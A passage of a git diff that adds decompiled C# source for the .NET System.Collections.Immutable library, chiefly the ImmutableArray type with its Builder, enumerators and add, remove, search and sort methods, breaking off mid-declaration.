b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/IStrongEnumerable.cs new file mode 100644 index 0000000..9f027b7 --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/IStrongEnumerable.cs @@ -0,0 +1,6 @@ +namespace System.Collections.Immutable; + +internal interface IStrongEnumerable where TEnumerator : struct, IStrongEnumerator +{ + TEnumerator GetEnumerator(); +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/IStrongEnumerator.cs b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/IStrongEnumerator.cs new file mode 100644 index 0000000..dd2938d --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/IStrongEnumerator.cs @@ -0,0 +1,8 @@ +namespace System.Collections.Immutable; + +internal interface IStrongEnumerator +{ + T Current { get; } + + bool MoveNext(); +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ImmutableArray.cs b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ImmutableArray.cs new file mode 100644 index 0000000..5608755 --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ImmutableArray.cs @@ -0,0 +1,2083 @@ +using System.Collections.Generic; +using System.Diagnostics; +using System.Diagnostics.CodeAnalysis; +using System.Linq; +using System.Runtime.CompilerServices; +using System.Runtime.Versioning; + +namespace System.Collections.Immutable; + +public static class ImmutableArray +{ + internal static readonly byte[] TwoElementArray = new byte[2]; + + public static ImmutableArray Create() + { + return ImmutableArray.Empty; + } + + public static ImmutableArray Create(T item) + { + T[] items = new T[1] { item }; + return new ImmutableArray(items); + } + + public static ImmutableArray Create(T item1, T item2) + { + T[] items = new T[2] { item1, item2 }; + return new ImmutableArray(items); + } + + public static ImmutableArray Create(T item1, T item2, T item3) + { + T[] items = new T[3] { item1, item2, item3 }; + return new ImmutableArray(items); + } + + public static ImmutableArray Create(T item1, T item2, T item3, T item4) + { + T[] items = new T[4] { item1, item2, item3, item4 }; + return new ImmutableArray(items); + } + + public static ImmutableArray Create(ReadOnlySpan items) + { + if (items.IsEmpty) + { + return ImmutableArray.Empty; + } + T[] items2 = items.ToArray(); + return new ImmutableArray(items2); + } + + public static ImmutableArray Create(Span items) + { + return Create((ReadOnlySpan)items); + } + + public static ImmutableArray ToImmutableArray(this ReadOnlySpan items) + { + return Create(items); + } + + public static ImmutableArray ToImmutableArray(this Span items) + { + return Create((ReadOnlySpan)items); + } + + public static ImmutableArray CreateRange(IEnumerable items) + { + Requires.NotNull(items, "items"); + if (items is IImmutableArray immutableArray) + { + Array array = immutableArray.Array; + if (array == null) + { + throw new InvalidOperationException(System.SR.InvalidOperationOnDefaultArray); + } + return new ImmutableArray((T[])array); + } + if (items.TryGetCount(out var count)) + { + return new ImmutableArray(items.ToArray(count)); + } + return new ImmutableArray(items.ToArray()); + } + + public static ImmutableArray Create(params T[]? items) + { + if (items == null || items.Length == 0) + { + return ImmutableArray.Empty; + } + T[] array = new T[items.Length]; + Array.Copy(items, array, items.Length); + return new ImmutableArray(array); + } + + public static ImmutableArray Create(T[] items, int start, int length) + { + Requires.NotNull(items, "items"); + Requires.Range(start >= 0 && start <= items.Length, "start"); + Requires.Range(length >= 0 && start + length <= items.Length, "length"); + if (length == 0) + { + return Create(); + } + T[] array = new T[length]; + for (int i = 0; i < array.Length; i++) + { + array[i] = items[start + i]; + } + return new ImmutableArray(array); + } + + public static ImmutableArray Create(ImmutableArray items, int start, int length) + { + Requires.Range(start >= 0 && start <= items.Length, "start"); + Requires.Range(length >= 0 && start + length <= items.Length, "length"); + if (length == 0) + { + return Create(); + } + if (start == 0 && length == items.Length) + { + return items; + } + T[] array = new T[length]; + Array.Copy(items.array, start, array, 0, length); + return new ImmutableArray(array); + } + + public static ImmutableArray CreateRange(ImmutableArray items, Func selector) + { + Requires.NotNull(selector, "selector"); + int length = items.Length; + if (length == 0) + { + return Create(); + } + TResult[] array = new TResult[length]; + for (int i = 0; i < array.Length; i++) + { + array[i] = selector(items[i]); + } + return new ImmutableArray(array); + } + + public static ImmutableArray CreateRange(ImmutableArray items, int start, int length, Func selector) + { + int length2 = items.Length; + Requires.Range(start >= 0 && start <= length2, "start"); + Requires.Range(length >= 0 && start + length <= length2, "length"); + Requires.NotNull(selector, "selector"); + if (length == 0) + { + return Create(); + } + TResult[] array = new TResult[length]; + for (int i = 0; i < array.Length; i++) + { + array[i] = selector(items[i + start]); + } + return new ImmutableArray(array); + } + + public static ImmutableArray CreateRange(ImmutableArray items, Func selector, TArg arg) + { + Requires.NotNull(selector, "selector"); + int length = items.Length; + if (length == 0) + { + return Create(); + } + TResult[] array = new TResult[length]; + for (int i = 0; i < array.Length; i++) + { + array[i] = selector(items[i], arg); + } + return new ImmutableArray(array); + } + + public static ImmutableArray CreateRange(ImmutableArray items, int start, int length, Func selector, TArg arg) + { + int length2 = items.Length; + Requires.Range(start >= 0 && start <= length2, "start"); + Requires.Range(length >= 0 && start + length <= length2, "length"); + Requires.NotNull(selector, "selector"); + if (length == 0) + { + return Create(); + } + TResult[] array = new TResult[length]; + for (int i = 0; i < array.Length; i++) + { + array[i] = selector(items[i + start], arg); + } + return new ImmutableArray(array); + } + + public static ImmutableArray.Builder CreateBuilder() + { + return Create().ToBuilder(); + } + + public static ImmutableArray.Builder CreateBuilder(int initialCapacity) + { + return new ImmutableArray.Builder(initialCapacity); + } + + public static ImmutableArray ToImmutableArray(this IEnumerable items) + { + if (items is ImmutableArray) + { + return (ImmutableArray)(object)items; + } + return CreateRange(items); + } + + public static ImmutableArray ToImmutableArray(this ImmutableArray.Builder builder) + { + Requires.NotNull(builder, "builder"); + return builder.ToImmutable(); + } + + public static int BinarySearch(this ImmutableArray array, T value) + { + return Array.BinarySearch(array.array, value); + } + + public static int BinarySearch(this ImmutableArray array, T value, IComparer? comparer) + { + return Array.BinarySearch(array.array, value, comparer); + } + + public static int BinarySearch(this ImmutableArray array, int index, int length, T value) + { + return Array.BinarySearch(array.array, index, length, value); + } + + public static int BinarySearch(this ImmutableArray array, int index, int length, T value, IComparer? comparer) + { + return Array.BinarySearch(array.array, index, length, value, comparer); + } +} +[DebuggerDisplay("{DebuggerDisplay,nq}")] +[System.Runtime.Versioning.NonVersionable] +public readonly struct ImmutableArray : IReadOnlyList, IReadOnlyCollection, IEnumerable, IEnumerable, IList, ICollection, IEquatable>, IList, ICollection, IImmutableArray, IStructuralComparable, IStructuralEquatable, IImmutableList +{ + [DebuggerDisplay("Count = {Count}")] + [DebuggerTypeProxy(typeof(ImmutableArrayBuilderDebuggerProxy<>))] + public sealed class Builder : IList, ICollection, IEnumerable, IEnumerable, IReadOnlyList, IReadOnlyCollection + { + private T[] _elements; + + private int _count; + + public int Capacity + { + get + { + return _elements.Length; + } + set + { + if (value < _count) + { + throw new ArgumentException(System.SR.CapacityMustBeGreaterThanOrEqualToCount, "value"); + } + if (value == _elements.Length) + { + return; + } + if (value > 0) + { + T[] array = new T[value]; + if (_count > 0) + { + Array.Copy(_elements, array, _count); + } + _elements = array; + } + else + { + _elements = ImmutableArray.Empty.array; + } + } + } + + public int Count + { + get + { + return _count; + } + set + { + Requires.Range(value >= 0, "value"); + if (value < _count) + { + if (_count - value > 64) + { + Array.Clear(_elements, value, _count - value); + } + else + { + for (int i = value; i < Count; i++) + { + _elements[i] = default(T); + } + } + } + else if (value > _count) + { + EnsureCapacity(value); + } + _count = value; + } + } + + public T this[int index] + { + get + { + if (index >= Count) + { + ThrowIndexOutOfRangeException(); + } + return _elements[index]; + } + set + { + if (index >= Count) + { + ThrowIndexOutOfRangeException(); + } + _elements[index] = value; + } + } + + bool ICollection.IsReadOnly => false; + + internal Builder(int capacity) + { + Requires.Range(capacity >= 0, "capacity"); + _elements = new T[capacity]; + _count = 0; + } + + internal Builder() + : this(8) + { + } + + private static void ThrowIndexOutOfRangeException() + { + throw new IndexOutOfRangeException(); + } + + public ref readonly T ItemRef(int index) + { + if (index >= Count) + { + ThrowIndexOutOfRangeException(); + } + return ref _elements[index]; + } + + public ImmutableArray ToImmutable() + { + return new ImmutableArray(ToArray()); + } + + public ImmutableArray MoveToImmutable() + { + if (Capacity != Count) + { + throw new InvalidOperationException(System.SR.CapacityMustEqualCountOnMove); + } + T[] elements = _elements; + _elements = ImmutableArray.Empty.array; + _count = 0; + return new ImmutableArray(elements); + } + + public void Clear() + { + Count = 0; + } + + public void Insert(int index, T item) + { + Requires.Range(index >= 0 && index <= Count, "index"); + EnsureCapacity(Count + 1); + if (index < Count) + { + Array.Copy(_elements, index, _elements, index + 1, Count - index); + } + _count++; + _elements[index] = item; + } + + public void InsertRange(int index, IEnumerable items) + { + Requires.Range(index >= 0 && index <= Count, "index"); + Requires.NotNull(items, "items"); + int count = ImmutableExtensions.GetCount(ref items); + EnsureCapacity(Count + count); + if (index != Count) + { + Array.Copy(_elements, index, _elements, index + count, _count - index); + } + if (!items.TryCopyTo(_elements, index)) + { + foreach (T item in items) + { + _elements[index++] = item; + } + } + _count += count; + } + + public void InsertRange(int index, ImmutableArray items) + { + Requires.Range(index >= 0 && index <= Count, "index"); + if (!items.IsEmpty) + { + EnsureCapacity(Count + items.Length); + if (index != Count) + { + Array.Copy(_elements, index, _elements, index + items.Length, _count - index); + } + Array.Copy(items.array, 0, _elements, index, items.Length); + _count += items.Length; + } + } + + public void Add(T item) + { + int num = _count + 1; + EnsureCapacity(num); + _elements[_count] = item; + _count = num; + } + + public void AddRange(IEnumerable items) + { + Requires.NotNull(items, "items"); + if (items.TryGetCount(out var count)) + { + EnsureCapacity(Count + count); + if (items.TryCopyTo(_elements, _count)) + { + _count += count; + return; + } + } + foreach (T item in items) + { + Add(item); + } + } + + public void AddRange(params T[] items) + { + Requires.NotNull(items, "items"); + int count = Count; + Count += items.Length; + Array.Copy(items, 0, _elements, count, items.Length); + } + + public void AddRange(TDerived[] items) where TDerived : T + { + Requires.NotNull(items, "items"); + int count = Count; + Count += items.Length; + Array.Copy(items, 0, _elements, count, items.Length); + } + + public void AddRange(T[] items, int length) + { + Requires.NotNull(items, "items"); + Requires.Range(length >= 0 && length <= items.Length, "length"); + int count = Count; + Count += length; + Array.Copy(items, 0, _elements, count, length); + } + + public void AddRange(ImmutableArray items) + { + AddRange(items, items.Length); + } + + public void AddRange(ImmutableArray items, int length) + { + Requires.Range(length >= 0, "length"); + if (items.array != null) + { + AddRange(items.array, length); + } + } + + public void AddRange(ReadOnlySpan items) + { + int count = Count; + Count += items.Length; + items.CopyTo(new Span(_elements, count, items.Length)); + } + + public void AddRange(ReadOnlySpan items) where TDerived : T + { + int count = Count; + Count += items.Length; + Span span = new Span(_elements, count, items.Length); + for (int i = 0; i < items.Length; i++) + { + span[i] = (T)(object)items[i]; + } + } + + public void AddRange(ImmutableArray items) where TDerived : T + { + if (items.array != null) + { + this.AddRange(items.array); + } + } + + public void AddRange(Builder items) + { + Requires.NotNull(items, "items"); + AddRange(items._elements, items.Count); + } + + public void AddRange(ImmutableArray.Builder items) where TDerived : T + { + Requires.NotNull(items, "items"); + AddRange(items._elements, items.Count); + } + + public bool Remove(T element) + { + int num = IndexOf(element); + if (num >= 0) + { + RemoveAt(num); + return true; + } + return false; + } + + public bool Remove(T element, IEqualityComparer? equalityComparer) + { + int num = IndexOf(element, 0, _count, equalityComparer); + if (num >= 0) + { + RemoveAt(num); + return true; + } + return false; + } + + public void RemoveAll(Predicate match) + { + List list = null; + for (int i = 0; i < _count; i++) + { + if (match(_elements[i])) + { + if (list == null) + { + list = new List(); + } + list.Add(i); + } + } + if (list != null) + { + RemoveAtRange(list); + } + } + + public void RemoveAt(int index) + { + Requires.Range(index >= 0 && index < Count, "index"); + if (index < Count - 1) + { + Array.Copy(_elements, index + 1, _elements, index, Count - index - 1); + } + Count--; + } + + public void RemoveRange(int index, int length) + { + Requires.Range(index >= 0 && index + length <= _count, "index"); + if (length != 0) + { + if (index + length < _count) + { + Array.Copy(_elements, index + length, _elements, index, Count - index - length); + } + _count -= length; + } + } + + public void RemoveRange(IEnumerable items) + { + RemoveRange(items, EqualityComparer.Default); + } + + public void RemoveRange(IEnumerable items, IEqualityComparer? equalityComparer) + { + Requires.NotNull(items, "items"); + SortedSet sortedSet = new SortedSet(); + foreach (T item in items) + { + int num = IndexOf(item, 0, _count, equalityComparer); + while (num >= 0 && !sortedSet.Add(num) && num + 1 < _count) + { + num = IndexOf(item, num + 1, equalityComparer); + } + } + RemoveAtRange(sortedSet); + } + + public void Replace(T oldValue, T newValue) + { + Replace(oldValue, newValue, EqualityComparer.Default); + } + + public void Replace(T oldValue, T newValue, IEqualityComparer? equalityComparer) + { + int num = IndexOf(oldValue, 0, _count, equalityComparer); + if (num >= 0) + { + _elements[num] = newValue; + } + } + + public bool Contains(T item) + { + return IndexOf(item) >= 0; + } + + public T[] ToArray() + { + if (Count == 0) + { + return ImmutableArray.Empty.array; + } + T[] array = new T[Count]; + Array.Copy(_elements, array, Count); + return array; + } + + public void CopyTo(T[] array, int index) + { + Requires.NotNull(array, "array"); + Requires.Range(index >= 0 && index + Count <= array.Length, "index"); + Array.Copy(_elements, 0, array, index, Count); + } + + public void CopyTo(T[] destination) + { + Requires.NotNull(destination, "destination"); + Array.Copy(_elements, 0, destination, 0, Count); + } + + public void CopyTo(int sourceIndex, T[] destination, int destinationIndex, int length) + { + Requires.NotNull(destination, "destination"); + Requires.Range(length >= 0, "length"); + Requires.Range(sourceIndex >= 0 && sourceIndex + length <= Count, "sourceIndex"); + Requires.Range(destinationIndex >= 0 && destinationIndex + length <= destination.Length, "destinationIndex"); + Array.Copy(_elements, sourceIndex, destination, destinationIndex, length); + } + + private void EnsureCapacity(int capacity) + { + if (_elements.Length < capacity) + { + int newSize = Math.Max(_elements.Length * 2, capacity); + Array.Resize(ref _elements, newSize); + } + } + + public int IndexOf(T item) + { + return IndexOf(item, 0, _count, EqualityComparer.Default); + } + + public int IndexOf(T item, int startIndex) + { + return IndexOf(item, startIndex, Count - startIndex, EqualityComparer.Default); + } + + public int IndexOf(T item, int startIndex, int count) + { + return IndexOf(item, startIndex, count, EqualityComparer.Default); + } + + public int IndexOf(T item, int startIndex, int count, IEqualityComparer? equalityComparer) + { + if (count == 0 && startIndex == 0) + { + return -1; + } + Requires.Range(startIndex >= 0 && startIndex < Count, "startIndex"); + Requires.Range(count >= 0 && startIndex + count <= Count, "count"); + if (equalityComparer == null) + { + equalityComparer = EqualityComparer.Default; + } + if (equalityComparer == EqualityComparer.Default) + { + return Array.IndexOf(_elements, item, startIndex, count); + } + for (int i = startIndex; i < startIndex + count; i++) + { + if (equalityComparer.Equals(_elements[i], item)) + { + return i; + } + } + return -1; + } + + public int IndexOf(T item, int startIndex, IEqualityComparer? equalityComparer) + { + return IndexOf(item, startIndex, Count - startIndex, equalityComparer); + } + + public int LastIndexOf(T item) + { + if (Count == 0) + { + return -1; + } + return LastIndexOf(item, Count - 1, Count, EqualityComparer.Default); + } + + public int LastIndexOf(T item, int startIndex) + { + if (Count == 0 && startIndex == 0) + { + return -1; + } + Requires.Range(startIndex >= 0 && startIndex < Count, "startIndex"); + return LastIndexOf(item, startIndex, startIndex + 1, EqualityComparer.Default); + } + + public int LastIndexOf(T item, int startIndex, int count) + { + return LastIndexOf(item, startIndex, count, EqualityComparer.Default); + } + + public int LastIndexOf(T item, int startIndex, int count, IEqualityComparer? equalityComparer) + { + if (count == 0 && startIndex == 0) + { + return -1; + } + Requires.Range(startIndex >= 0 && startIndex < Count, "startIndex"); + Requires.Range(count >= 0 && startIndex - count + 1 >= 0, "count"); + if (equalityComparer == null) + { + equalityComparer = EqualityComparer.Default; + } + if (equalityComparer == EqualityComparer.Default) + { + return Array.LastIndexOf(_elements, item, startIndex, count); + } + for (int num = startIndex; num >= startIndex - count + 1; num--) + { + if (equalityComparer.Equals(item, _elements[num])) + { + return num; + } + } + return -1; + } + + public void Reverse() + { + int num = 0; + int num2 = _count - 1; + T[] elements = _elements; + while (num < num2) + { + T val = elements[num]; + elements[num] = elements[num2]; + elements[num2] = val; + num++; + num2--; + } + } + + public void Sort() + { + if (Count > 1) + { + Array.Sort(_elements, 0, Count, Comparer.Default); + } + } + + public void Sort(Comparison comparison) + { + Requires.NotNull(comparison, "comparison"); + if (Count > 1) + { + Array.Sort(_elements, 0, _count, Comparer.Create(comparison)); + } + } + + public void Sort(IComparer? comparer) + { + if (Count > 1) + { + Array.Sort(_elements, 0, _count, comparer); + } + } + + public void Sort(int index, int count, IComparer? comparer) + { + Requires.Range(index >= 0, "index"); + Requires.Range(count >= 0 && index + count <= Count, "count"); + if (count > 1) + { + Array.Sort(_elements, index, count, comparer); + } + } + + public void CopyTo(Span destination) + { + Requires.Range(Count <= destination.Length, "destination"); + new ReadOnlySpan(_elements, 0, Count).CopyTo(destination); + } + + public IEnumerator GetEnumerator() + { + for (int i = 0; i < Count; i++) + { + yield return this[i]; + } + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + private void AddRange(TDerived[] items, int length) where TDerived : T + { + EnsureCapacity(Count + length); + int count = Count; + Count += length; + T[] elements = _elements; + for (int i = 0; i < length; i++) + { + elements[count + i] = (T)(object)items[i]; + } + } + + private void RemoveAtRange(ICollection indicesToRemove) + { + Requires.NotNull(indicesToRemove, "indicesToRemove"); + if (indicesToRemove.Count == 0) + { + return; + } + int num = 0; + int num2 = 0; + int num3 = -1; + foreach (int item in indicesToRemove) + { + int num4 = ((num3 == -1) ? item : (item - num3 - 1)); + Array.Copy(_elements, num + num2, _elements, num, num4); + num2++; + num += num4; + num3 = item; + } + Array.Copy(_elements, num + num2, _elements, num, _elements.Length - (num + num2)); + _count -= indicesToRemove.Count; + } + } + + public struct Enumerator + { + private readonly T[] _array; + + private int _index; + + public T Current => _array[_index]; + + internal Enumerator(T[] array) + { + _array = array; + _index = -1; + } + + public bool MoveNext() + { + return ++_index < _array.Length; + } + } + + private sealed class EnumeratorObject : IEnumerator, IDisposable, IEnumerator + { + private static readonly IEnumerator s_EmptyEnumerator = new EnumeratorObject(ImmutableArray.Empty.array); + + private readonly T[] _array; + + private int _index; + + public T Current + { + get + { + if ((uint)_index < (uint)_array.Length) + { + return _array[_index]; + } + throw new InvalidOperationException(); + } + } + + object IEnumerator.Current => Current; + + private EnumeratorObject(T[] array) + { + _index = -1; + _array = array; + } + + public bool MoveNext() + { + int num = _index + 1; + int num2 = _array.Length; + if ((uint)num <= (uint)num2) + { + _index = num; + return (uint)num < (uint)num2; + } + return false; + } + + void IEnumerator.Reset() + { + _index = -1; + } + + public void Dispose() + { + } + + internal static IEnumerator Create(T[] array) + { + if (array.Length != 0) + { + return new EnumeratorObject(array); + } + return s_EmptyEnumerator; + } + } + + public static readonly ImmutableArray Empty = new ImmutableArray(new T[0]); + + [DebuggerBrowsable(DebuggerBrowsableState.RootHidden)] + internal readonly T[]? array; + + T IList.this[int index] + { + get + { + ImmutableArray immutableArray = this; + immutableArray.ThrowInvalidOperationIfNotInitialized(); + return immutableArray[index]; + } + set + { + throw new NotSupportedException(); + } + } + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + bool ICollection.IsReadOnly => true; + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + int ICollection.Count + { + get + { + ImmutableArray immutableArray = this; + immutableArray.ThrowInvalidOperationIfNotInitialized(); + return immutableArray.Length; + } + } + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + int IReadOnlyCollection.Count + { + get + { + ImmutableArray immutableArray = this; + immutableArray.ThrowInvalidOperationIfNotInitialized(); + return immutableArray.Length; + } + } + + T IReadOnlyList.this[int index] + { + get + { + ImmutableArray immutableArray = this; + immutableArray.ThrowInvalidOperationIfNotInitialized(); + return immutableArray[index]; + } + } + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + bool IList.IsFixedSize => true; + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + bool IList.IsReadOnly => true; + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + int ICollection.Count + { + get + { + ImmutableArray immutableArray = this; + immutableArray.ThrowInvalidOperationIfNotInitialized(); + return immutableArray.Length; + } + } + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + bool ICollection.IsSynchronized => true; + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + object ICollection.SyncRoot + { + get + { + throw new NotSupportedException(); + } + } + + object? IList.this[int index] + { + get + { + ImmutableArray immutableArray = this; + immutableArray.ThrowInvalidOperationIfNotInitialized(); + return immutableArray[index]; + } + set + { + throw new NotSupportedException(); + } + } + + public T this[int index] + { + [System.Runtime.Versioning.NonVersionable] + get + { + return array[index]; + } + } + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + public bool IsEmpty + { + [System.Runtime.Versioning.NonVersionable] + get + { + return array.Length == 0; + } + } + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + public int Length + { + [System.Runtime.Versioning.NonVersionable] + get + { + return array.Length; + } + } + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + public bool IsDefault => array == null; + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + public bool IsDefaultOrEmpty + { + get + { + ImmutableArray immutableArray = this; + if (immutableArray.array != null) + { + return immutableArray.array.Length == 0; + } + return true; + } + } + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + Array? IImmutableArray.Array => array; + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + private string DebuggerDisplay + { + get + { + ImmutableArray immutableArray = this; + if (!immutableArray.IsDefault) + { + return $"Length = {immutableArray.Length}"; + } + return "Uninitialized"; + } + } + + public ReadOnlySpan AsSpan() + { + return new ReadOnlySpan(array); + } + + public ReadOnlyMemory AsMemory() + { + return new ReadOnlyMemory(array); + } + + public int IndexOf(T item) + { + ImmutableArray immutableArray = this; + return immutableArray.IndexOf(item, 0, immutableArray.Length, EqualityComparer.Default); + } + + public int IndexOf(T item, int startIndex, IEqualityComparer? equalityComparer) + { + ImmutableArray immutableArray = this; + return immutableArray.IndexOf(item, startIndex, immutableArray.Length - startIndex, equalityComparer); + } + + public int IndexOf(T item, int startIndex) + { + ImmutableArray immutableArray = this; + return immutableArray.IndexOf(item, startIndex, immutableArray.Length - startIndex, EqualityComparer.Default); + } + + public int IndexOf(T item, int startIndex, int count) + { + return IndexOf(item, startIndex, count, EqualityComparer.Default); + } + + public int IndexOf(T item, int startIndex, int count, IEqualityComparer? equalityComparer) + { + ImmutableArray immutableArray = this; + immutableArray.ThrowNullRefIfNotInitialized(); + if (count == 0 && startIndex == 0) + { + return -1; + } + Requires.Range(startIndex >= 0 && startIndex < immutableArray.Length, "startIndex"); + Requires.Range(count >= 0 && startIndex + count <= immutableArray.Length, "count"); + if (equalityComparer == null) + { + equalityComparer = EqualityComparer.Default; + } + if (equalityComparer == EqualityComparer.Default) + { + return Array.IndexOf(immutableArray.array, item, startIndex, count); + } + for (int i = startIndex; i < startIndex + count; i++) + { + if (equalityComparer.Equals(immutableArray.array[i], item)) + { + return i; + } + } + return -1; + } + + public int LastIndexOf(T item) + { + ImmutableArray immutableArray = this; + if (immutableArray.IsEmpty) + { + return -1; + } + return immutableArray.LastIndexOf(item, immutableArray.Length - 1, immutableArray.Length, EqualityComparer.Default); + } + + public int LastIndexOf(T item, int startIndex) + { + ImmutableArray immutableArray = this; + if (immutableArray.IsEmpty && startIndex == 0) + { + return -1; + } + return immutableArray.LastIndexOf(item, startIndex, startIndex + 1, EqualityComparer.Default); + } + + public int LastIndexOf(T item, int startIndex, int count) + { + return LastIndexOf(item, startIndex, count, EqualityComparer.Default); + } + + public int LastIndexOf(T item, int startIndex, int count, IEqualityComparer? equalityComparer) + { + ImmutableArray immutableArray = this; + immutableArray.ThrowNullRefIfNotInitialized(); + if (startIndex == 0 && count == 0) + { + return -1; + } + Requires.Range(startIndex >= 0 && startIndex < immutableArray.Length, "startIndex"); + Requires.Range(count >= 0 && startIndex - count + 1 >= 0, "count"); + if (equalityComparer == null) + { + equalityComparer = EqualityComparer.Default; + } + if (equalityComparer == EqualityComparer.Default) + { + return Array.LastIndexOf(immutableArray.array, item, startIndex, count); + } + for (int num = startIndex; num >= startIndex - count + 1; num--) + { + if (equalityComparer.Equals(item, immutableArray.array[num])) + { + return num; + } + } + return -1; + } + + public bool Contains(T item) + { + return IndexOf(item) >= 0; + } + + public ImmutableArray Insert(int index, T item) + { + ImmutableArray immutableArray = this; + immutableArray.ThrowNullRefIfNotInitialized(); + Requires.Range(index >= 0 && index <= immutableArray.Length, "index"); + if (immutableArray.IsEmpty) + { + return ImmutableArray.Create(item); + } + T[] array = new T[immutableArray.Length + 1]; + array[index] = item; + if (index != 0) + { + Array.Copy(immutableArray.array, array, index); + } + if (index != immutableArray.Length) + { + Array.Copy(immutableArray.array, index, array, index + 1, immutableArray.Length - index); + } + return new ImmutableArray(array); + } + + public ImmutableArray InsertRange(int index, IEnumerable items) + { + ImmutableArray result = this; + result.ThrowNullRefIfNotInitialized(); + Requires.Range(index >= 0 && index <= result.Length, "index"); + Requires.NotNull(items, "items"); + if (result.IsEmpty) + { + return ImmutableArray.CreateRange(items); + } + int count = ImmutableExtensions.GetCount(ref items); + if (count == 0) + { + return result; + } + T[] array = new T[result.Length + count]; + if (index != 0) + { + Array.Copy(result.array, array, index); + } + if (index != result.Length) + { + Array.Copy(result.array, index, array, index + count, result.Length - index); + } + if (!items.TryCopyTo(array, index)) + { + int num = index; + foreach (T item in items) + { + array[num++] = item; + } + } + return new ImmutableArray(array); + } + + public ImmutableArray InsertRange(int index, ImmutableArray items) + { + ImmutableArray result = this; + result.ThrowNullRefIfNotInitialized(); + items.ThrowNullRefIfNotInitialized(); + Requires.Range(index >= 0 && index <= result.Length, "index"); + if (result.IsEmpty) + { + return items; + } + if (items.IsEmpty) + { + return result; + } + return result.InsertSpanRangeInternal(index, items.AsSpan()); + } + + public ImmutableArray Add(T item) + { + ImmutableArray immutableArray = this; + if (immutableArray.IsEmpty) + { + return ImmutableArray.Create(item); + } + return immutableArray.Insert(immutableArray.Length, item); + } + + public ImmutableArray AddRange(IEnumerable items) + { + ImmutableArray immutableArray = this; + return immutableArray.InsertRange(immutableArray.Length, items); + } + + public ImmutableArray AddRange(T[] items, int length) + { + ImmutableArray result = this; + result.ThrowNullRefIfNotInitialized(); + Requires.NotNull(items, "items"); + Requires.Range(length >= 0 && length <= items.Length, "length"); + if (items.Length == 0 || length == 0) + { + return result; + } + if (result.IsEmpty) + { + return ImmutableArray.Create(items, 0, length); + } + T[] array = new T[result.Length + length]; + Array.Copy(result.array, array, result.Length); + Array.Copy(items, 0, array, result.Length, length); + return new ImmutableArray(array); + } + + public ImmutableArray AddRange(TDerived[] items) where TDerived : T + { + ImmutableArray result = this; + result.ThrowNullRefIfNotInitialized(); + Requires.NotNull(items, "items"); + if (items.Length == 0) + { + return result; + } + T[] array = new T[result.Length + items.Length]; + Array.Copy(result.array, array, result.Length); + Array.Copy(items, 0, array, result.Length, items.Length); + return new ImmutableArray(array); + } + + public ImmutableArray AddRange(ImmutableArray items, int length) + { + ImmutableArray result = this; + Requires.Range(length >= 0, "length"); + if (items.array != null) + { + return result.AddRange(items.array, length); + } + return result; + } + + public ImmutableArray AddRange(ImmutableArray items) where TDerived : T + { + ImmutableArray result = this; + if (items.array != null) + { + return result.AddRange(items.array); + } + return result; + } + + public ImmutableArray AddRange(ImmutableArray items) + { + ImmutableArray immutableArray = this; + return immutableArray.InsertRange(immutableArray.Length, items); + } + + public ImmutableArray SetItem(int index, T item) + { + ImmutableArray immutableArray = this; + immutableArray.ThrowNullRefIfNotInitialized(); + Requires.Range(index >= 0 && index < immutableArray.Length, "index"); + T[] array = new T[immutableArray.Length]; + Array.Copy(immutableArray.array, array, immutableArray.Length); + array[index] = item; + return new ImmutableArray(array); + } + + public ImmutableArray Replace(T oldValue, T newValue) + { + return Replace(oldValue, newValue, EqualityComparer.Default); + } + + public ImmutableArray Replace(T oldValue, T newValue, IEqualityComparer? equalityComparer) + { + ImmutableArray immutableArray = this; + int num = immutableArray.IndexOf(oldValue, 0, immutableArray.Length, equalityComparer); + if (num < 0) + { + throw new ArgumentException(System.SR.CannotFindOldValue, "oldValue"); + } + return immutableArray.SetItem(num, newValue); + } + + public ImmutableArray Remove(T item) + { + return Remove(item, EqualityComparer.Default); + } + + public ImmutableArray Remove(T item, IEqualityComparer? equalityComparer) + { + ImmutableArray result = this; + result.ThrowNullRefIfNotInitialized(); + int num = result.IndexOf(item, 0, result.Length, equalityComparer); + if (num >= 0) + { + return result.RemoveAt(num); + } + return result; + } + + public ImmutableArray RemoveAt(int index) + { + return RemoveRange(index, 1); + } + + public ImmutableArray RemoveRange(int index, int length) + { + ImmutableArray result = this; + result.ThrowNullRefIfNotInitialized(); + Requires.Range(index >= 0 && index <= result.Length, "index"); + Requires.Range(length >= 0 && index + length <= result.Length, "length"); + if (length == 0) + { + return result; + } + T[] array = new T[result.Length - length]; + Array.Copy(result.array, array, index); + Array.Copy(result.array, index + length, array, index, result.Length - index - length); + return new ImmutableArray(array); + } + + public ImmutableArray RemoveRange(IEnumerable items) + { + return RemoveRange(items, EqualityComparer.Default); + } + + public ImmutableArray RemoveRange(IEnumerable items, IEqualityComparer? equalityComparer) + { + ImmutableArray immutableArray = this; + immutableArray.ThrowNullRefIfNotInitialized(); + Requires.NotNull(items, "items"); + SortedSet sortedSet = new SortedSet(); + foreach (T item in items) + { + int num = -1; + do + { + num = immutableArray.IndexOf(item, num + 1, equalityComparer); + } + while (num >= 0 && !sortedSet.Add(num) && num < immutableArray.Length - 1); + } + return immutableArray.RemoveAtRange(sortedSet); + } + + public ImmutableArray 